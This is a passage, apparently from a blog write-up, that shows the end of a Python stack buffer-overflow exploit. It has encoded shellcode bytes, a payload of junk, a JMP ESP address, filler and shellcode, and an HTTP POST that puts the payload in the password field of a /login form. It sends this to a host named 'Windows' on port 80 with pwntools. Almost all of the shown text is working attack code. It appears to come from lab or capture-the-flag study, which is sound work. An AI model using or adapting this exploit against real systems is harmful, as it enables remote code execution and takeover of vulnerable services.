shellcode += b"\x3a\x68\x6e\x8e\x72\x72\x73\xab\xcd\x09\x47"  
shellcode += b"\x47\xcc\xdb\x99\xa8\x63\x22\x16\x5b\x7d\x63"  
shellcode += b"\x91\x84\x08\x9d\xe1\x39\x0b\x5a\x9b\xe5\x9e"  
shellcode += b"\x78\x3b\x6d\x38\xa4\xbd\xa2\xdf\x2f\xb1\x0f"  
shellcode += b"\xab\x77\xd6\x8e\x78\x0c\xe2\x1b\x7f\xc2\x62"  
shellcode += b"\x5f\xa4\xc6\x2f\x3b\xc5\x5f\x8a\xea\xfa\xbf"  
shellcode += b"\x75\x52\x5f\xb4\x98\x87\xd2\x97\xf6\x56\x60"  
shellcode += b"\xa2\xb5\x59\x7a\xac\xe9\x31\x4b\x27\x66\x45"  
shellcode += b"\x54\xe2\xc2\xb9\x1e\xae\x63\x52\xc7\x3b\x36"  
shellcode += b"\x3f\xf8\x96\x75\x46\x7b\x12\x06\xbd\x63\x57"  
shellcode += b"\x03\xf9\x23\x84\x79\x92\xc1\xaa\x2e\x93\xc3"  
shellcode += b"\xc9\xb1\x07\x8f\x23\x57\xa0\x2a\x3b\x97\x50"  
shellcode += b"\xb5\x3b\x97\x50\xb5"

payload = junk + jmpesp + filler + shellcode

data = b"username=username&password=" + payload

content  = b""
content += b"POST /login HTTP/1.1\r\n"
content += b"Content-Type: application/x-www-form-urlencoded\r\n"
content += b"Content-Length: " + str(len(data)).encode() + b"\r\n\r\n"  
content += data

shell = remote("Windows", 80)
shell.send(content)

Image Alt Text

This post is licensed under CC BY 4.0 by the author.